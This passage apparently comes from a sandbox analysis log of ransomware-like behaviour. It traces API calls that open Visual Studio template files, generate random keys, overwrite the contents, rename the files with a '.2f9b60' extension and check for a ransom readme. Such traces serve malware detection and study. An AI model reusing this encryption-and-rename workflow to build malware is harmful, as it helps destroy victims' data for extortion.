Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\97abecda14b01ba9166d9954.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\97abecda14b01ba9166d9954.2f9b60" [0235.867] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\97abecda14b01ba9166d9954.2f9b60", NtPathName=0x22effc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\97abecda14b01ba9166d9954.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x116) returned 0x42c153b0 Thread: id = 3782 os_tid = 0x1d88 [0227.627] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Class.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\class.zip")) returned 0x20 [0228.224] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Class.zip", dwFileAttributes=0x20) returned 1 [0228.225] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Class.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\class.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x294c [0228.225] GetFileSizeEx (in: hFile=0x294c, lpFileSize=0x24b8f7e0 | out: lpFileSize=0x24b8f7e0*=701) returned 1 [0228.225] SetFilePointerEx (in: hFile=0x294c, liDistanceToMove=0x2b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.225] ReadFile (in: hFile=0x294c, lpBuffer=0x24b8f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24b8f7a8, lpOverlapped=0x0 | out: lpBuffer=0x24b8f760*, lpNumberOfBytesRead=0x24b8f7a8*=0x4, lpOverlapped=0x0) returned 1 [0228.226] SetFilePointerEx (in: hFile=0x294c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1aa00 [0228.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e2d0 [0228.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e3f0 [0228.227] NtQuerySystemTime (in: CurrentTime=0x24b8f6a0 | out: CurrentTime=0x24b8f6a0*=132462178322134000) returned 0x0 [0228.227] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x2f620875 [0228.227] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x5d0262b6 [0228.227] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x38016f1b [0228.227] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x363573e5 [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x5b7c79ad [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0xce48808 [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x2ef9a65 [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x5f40be8b [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x4e1b5947 [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0xd2c1cea [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x66bfca95 [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x6f41a8a5 [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x5e32026b [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x1440764f [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x4923c056 [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x2a3ce57e [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x3d79c36c [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x1583df35 [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x213b8bb [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x4c7d100 [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x6e2ea9fe [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x2d4c0c11 [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0xdf12cd9 [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x20199b19 [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x6d5c2f1b [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0xfe62fd6 [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0xd9e04a9 [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x5bcac4cf [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x2a264067 [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x29f34dc3 [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x3ad5b2fb [0228.228] RtlRandomEx (in: Seed=0x24b8f690 | out: Seed=0x24b8f690) returned 0x68ef01ff [0228.236] ReadFile (in: hFile=0x294c, lpBuffer=0x2030a0b0, nNumberOfBytesToRead=0x2bd, lpNumberOfBytesRead=0x24b8f690, lpOverlapped=0x0 | out: lpBuffer=0x2030a0b0*, lpNumberOfBytesRead=0x24b8f690*=0x2bd, lpOverlapped=0x0) returned 1 [0228.236] SetFilePointerEx (in: hFile=0x294c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.236] WriteFile (in: hFile=0x294c, lpBuffer=0x20320910*, nNumberOfBytesToWrite=0x2bd, lpNumberOfBytesWritten=0x24b8f694, lpOverlapped=0x0 | out: lpBuffer=0x20320910*, lpNumberOfBytesWritten=0x24b8f694*=0x2bd, lpOverlapped=0x0) returned 1 [0232.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7160 [0232.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2270 [0232.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2270) returned 1 [0232.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20320910) returned 1 [0232.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2030a0b0) returned 1 [0232.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cd40) returned 1 [0232.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62370) returned 1 [0232.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2270 [0232.301] SetFilePointerEx (in: hFile=0x294c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0232.301] WriteFile (in: hFile=0x294c, lpBuffer=0x169d50*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x24b8f7b0, lpOverlapped=0x0 | out: lpBuffer=0x169d50*, lpNumberOfBytesWritten=0x24b8f7b0*=0x104, lpOverlapped=0x0) returned 1 [0235.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0235.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b830 [0235.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b830) returned 1 [0235.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cfe0 [0235.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b830 [0235.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b8c0 [0235.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b8c0) returned 1 [0235.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0236.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x4313b8c0 [0236.000] sprintf (in: _Dest=0x4313b8c0, _Format="%c%c" | out: _Dest="26") returned 2 [0236.000] sprintf (in: _Dest=0x4313b8c2, _Format="%c%c" | out: _Dest="e3") returned 2 [0236.000] sprintf (in: _Dest=0x4313b8c4, _Format="%c%c" | out: _Dest="29") returned 2 [0236.000] sprintf (in: _Dest=0x4313b8c6, _Format="%c%c" | out: _Dest="a1") returned 2 [0236.000] sprintf (in: _Dest=0x4313b8c8, _Format="%c%c" | out: _Dest="f0") returned 2 [0236.000] sprintf (in: _Dest=0x4313b8ca, _Format="%c%c" | out: _Dest="ff") returned 2 [0236.000] sprintf (in: _Dest=0x4313b8cc, _Format="%c%c" | out: _Dest="b2") returned 2 [0236.000] sprintf (in: _Dest=0x4313b8ce, _Format="%c%c" | out: _Dest="97") returned 2 [0236.000] sprintf (in: _Dest=0x4313b8d0, _Format="%c%c" | out: _Dest="6a") returned 2 [0236.000] sprintf (in: _Dest=0x4313b8d2, _Format="%c%c" | out: _Dest="85") returned 2 [0236.000] sprintf (in: _Dest=0x4313b8d4, _Format="%c%c" | out: _Dest="47") returned 2 [0236.000] sprintf (in: _Dest=0x4313b8d6, _Format="%c%c" | out: _Dest="82") returned 2 [0236.000] sprintf (in: _Dest=0x4313b8d8, _Format="%c%c" | out: _Dest="13") returned 2 [0236.000] sprintf (in: _Dest=0x4313b8da, _Format="%c%c" | out: _Dest="86") returned 2 [0236.000] sprintf (in: _Dest=0x4313b8dc, _Format="%c%c" | out: _Dest="0a") returned 2 [0236.000] sprintf (in: _Dest=0x4313b8de, _Format="%c%c" | out: _Dest="12") returned 2 [0236.000] sprintf (in: _Dest=0x4313b8e0, _Format="%c%c" | out: _Dest="5a") returned 2 [0236.000] sprintf (in: _Dest=0x4313b8e2, _Format="%c%c" | out: _Dest="1c") returned 2 [0236.000] RtlInitAnsiString (in: DestinationString=0x24b8f828, SourceString="26e329a1f0ffb2976a85478213860a125a1c" | out: DestinationString="26e329a1f0ffb2976a85478213860a125a1c") [0236.000] RtlAnsiStringToUnicodeString (in: DestinationString=0x24b8f7f8, SourceString="26e329a1f0ffb2976a85478213860a125a1c", AllocateDestinationString=1 | out: DestinationString="26e329a1f0ffb2976a85478213860a125a1c") returned 0x0 [0236.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b859270 [0236.001] wcscat (in: _Dest=0x423ab550, _Source="26e329a1f" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\26e329a1f") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\26e329a1f" [0236.001] wcscat (in: _Dest=0x423ab550, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\26e329a1f.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\26e329a1f.2f9b60" [0236.001] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\26e329a1f.2f9b60", NtPathName=0x24b8f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\26e329a1f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf8) returned 0x1b78f380 [0237.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78f380) returned 1 [0237.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c138e0) returned 1 [0237.437] NtQueryInformationFile (in: FileHandle=0x294c, IoStatusBlock=0x24b8f838, FileInformation=0x24b8f848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24b8f838, FileInformation=0x24b8f848) returned 0x0 [0237.437] NtSetInformationFile (FileHandle=0x294c, IoStatusBlock=0x24b8f838, FileInformation=0x24b8f848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ab550) returned 1 [0237.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859270) returned 1 [0237.756] FlushFileBuffers (hFile=0x294c) returned 1 [0238.236] CloseHandle (hObject=0x294c) returned 1 [0242.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xde) returned 0x1ceb4f40 [0242.533] wcscpy (in: _Dest=0x1ceb4f40, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0242.533] wcscat (in: _Dest=0x1ceb4f40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\2F9B60-Readme.txt" [0242.533] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\2f9b60-readme.txt")) returned 0x20 [0242.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb4f40) returned 1 [0242.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced04a0) returned 1 Thread: id = 3783 os_tid = 0x170c [0227.628] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\codefile.zip")) returned 0x20 [0228.237] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip", dwFileAttributes=0x20) returned 1 [0228.238] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\codefile.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb18 [0228.239] GetFileSizeEx (in: hFile=0xb18, lpFileSize=0x295dfbc0 | out: lpFileSize=0x295dfbc0*=546) returned 1 [0228.239] SetFilePointerEx (in: hFile=0xb18, liDistanceToMove=0x21e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.239] ReadFile (in: hFile=0xb18, lpBuffer=0x295dfb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x295dfb88, lpOverlapped=0x0 | out: lpBuffer=0x295dfb40*, lpNumberOfBytesRead=0x295dfb88*=0x4, lpOverlapped=0x0) returned 1 [0228.240] SetFilePointerEx (in: hFile=0xb18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1aa00 [0228.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e3f0 [0228.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19f20 [0228.240] NtQuerySystemTime (in: CurrentTime=0x295dfa80 | out: CurrentTime=0x295dfa80*=132462178322290000) returned 0x0 [0228.240] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x403b1b36 [0228.240] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x3704f33f [0228.240] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x7398d8f4 [0228.240] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x47fca717 [0228.240] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x34a8801b [0228.240] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x7dd2bed5 [0228.240] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x730f2a8a [0228.240] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x287e9a25 [0228.240] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x462082d6 [0228.240] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x254226ad [0228.240] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x20f5d0ad [0228.240] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x374b1456 [0228.240] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x544bba9b [0228.241] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x5bf9b4bf [0228.241] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x7838e136 [0228.241] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x61213a0 [0228.241] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x2c8b71a1 [0228.241] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x38aa60cd [0228.241] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x1c5e37ab [0228.241] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x7812b887 [0228.241] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x163130d2 [0228.241] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x4e85ba25 [0228.241] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x5d8dbeb0 [0228.241] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x50ad880 [0228.241] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x1348500b [0228.241] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x5b918125 [0228.241] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x66e59ac7 [0228.241] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x113f718d [0228.241] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x6b5b1060 [0228.241] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x27b8f74e [0228.241] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0xae3abe0 [0228.241] RtlRandomEx (in: Seed=0x295dfa70 | out: Seed=0x295dfa70) returned 0x109da9f0 [0228.248] ReadFile (in: hFile=0xb18, lpBuffer=0x203461b0, nNumberOfBytesToRead=0x222, lpNumberOfBytesRead=0x295dfa70, lpOverlapped=0x0 | out: lpBuffer=0x203461b0*, lpNumberOfBytesRead=0x295dfa70*=0x222, lpOverlapped=0x0) returned 1 [0228.248] SetFilePointerEx (in: hFile=0xb18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.249] WriteFile (in: hFile=0xb18, lpBuffer=0x203425a0*, nNumberOfBytesToWrite=0x222, lpNumberOfBytesWritten=0x295dfa74, lpOverlapped=0x0 | out: lpBuffer=0x203425a0*, lpNumberOfBytesWritten=0x295dfa74*=0x222, lpOverlapped=0x0) returned 1 [0232.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a50f0 [0232.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5240 [0232.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5240) returned 1 [0232.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203425a0) returned 1 [0232.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203461b0) returned 1 [0232.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cec0) returned 1 [0232.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61a60) returned 1 [0232.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5240 [0232.307] SetFilePointerEx (in: hFile=0xb18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0232.307] WriteFile (in: hFile=0xb18, lpBuffer=0x167ee0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x295dfb90, lpOverlapped=0x0 | out: lpBuffer=0x167ee0*, lpNumberOfBytesWritten=0x295dfb90*=0x10a, lpOverlapped=0x0) returned 1 [0236.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0236.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e390 [0236.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e390) returned 1 [0236.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e390 [0236.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e3c0 [0236.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e3c0) returned 1 [0236.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0236.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f8b0 [0236.010] sprintf (in: _Dest=0x1cd9f8b0, _Format="%c%c" | out: _Dest="e7") returned 2 [0236.010] sprintf (in: _Dest=0x1cd9f8b2, _Format="%c%c" | out: _Dest="b9") returned 2 [0236.010] sprintf (in: _Dest=0x1cd9f8b4, _Format="%c%c" | out: _Dest="9c") returned 2 [0236.010] sprintf (in: _Dest=0x1cd9f8b6, _Format="%c%c" | out: _Dest="17") returned 2 [0236.010] sprintf (in: _Dest=0x1cd9f8b8, _Format="%c%c" | out: _Dest="4b") returned 2 [0236.010] sprintf (in: _Dest=0x1cd9f8ba, _Format="%c%c" | out: _Dest="e5") returned 2 [0236.010] sprintf (in: _Dest=0x1cd9f8bc, _Format="%c%c" | out: _Dest="bb") returned 2 [0236.010] sprintf (in: _Dest=0x1cd9f8be, _Format="%c%c" | out: _Dest="78") returned 2 [0236.010] sprintf (in: _Dest=0x1cd9f8c0, _Format="%c%c" | out: _Dest="94") returned 2 [0236.010] sprintf (in: _Dest=0x1cd9f8c2, _Format="%c%c" | out: _Dest="76") returned 2 [0236.010] sprintf (in: _Dest=0x1cd9f8c4, _Format="%c%c" | out: _Dest="f1") returned 2 [0236.010] sprintf (in: _Dest=0x1cd9f8c6, _Format="%c%c" | out: _Dest="da") returned 2 [0236.010] sprintf (in: _Dest=0x1cd9f8c8, _Format="%c%c" | out: _Dest="76") returned 2 [0236.010] sprintf (in: _Dest=0x1cd9f8ca, _Format="%c%c" | out: _Dest="1d") returned 2 [0236.010] sprintf (in: _Dest=0x1cd9f8cc, _Format="%c%c" | out: _Dest="ed") returned 2 [0236.011] sprintf (in: _Dest=0x1cd9f8ce, _Format="%c%c" | out: _Dest="e2") returned 2 [0236.011] sprintf (in: _Dest=0x1cd9f8d0, _Format="%c%c" | out: _Dest="e2") returned 2 [0236.011] sprintf (in: _Dest=0x1cd9f8d2, _Format="%c%c" | out: _Dest="e3") returned 2 [0236.011] sprintf (in: _Dest=0x1cd9f8d4, _Format="%c%c" | out: _Dest="68") returned 2 [0236.011] sprintf (in: _Dest=0x1cd9f8d6, _Format="%c%c" | out: _Dest="95") returned 2 [0236.011] sprintf (in: _Dest=0x1cd9f8d8, _Format="%c%c" | out: _Dest="56") returned 2 [0236.011] sprintf (in: _Dest=0x1cd9f8da, _Format="%c%c" | out: _Dest="52") returned 2 [0236.011] sprintf (in: _Dest=0x1cd9f8dc, _Format="%c%c" | out: _Dest="b5") returned 2 [0236.011] sprintf (in: _Dest=0x1cd9f8de, _Format="%c%c" | out: _Dest="b1") returned 2 [0236.011] RtlInitAnsiString (in: DestinationString=0x295dfc08, SourceString="e7b99c174be5bb789476f1da761dede2e2e368955652b5b1" | out: DestinationString="e7b99c174be5bb789476f1da761dede2e2e368955652b5b1") [0236.011] RtlAnsiStringToUnicodeString (in: DestinationString=0x295dfbd8, SourceString="e7b99c174be5bb789476f1da761dede2e2e368955652b5b1", AllocateDestinationString=1 | out: DestinationString="e7b99c174be5bb789476f1da761dede2e2e368955652b5b1") returned 0x0 [0236.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430a02b0 [0236.012] wcscat (in: _Dest=0x423ab640, _Source="e7b99c174be5" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\e7b99c174be5") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\e7b99c174be5" [0236.012] wcscat (in: _Dest=0x423ab640, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\e7b99c174be5.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 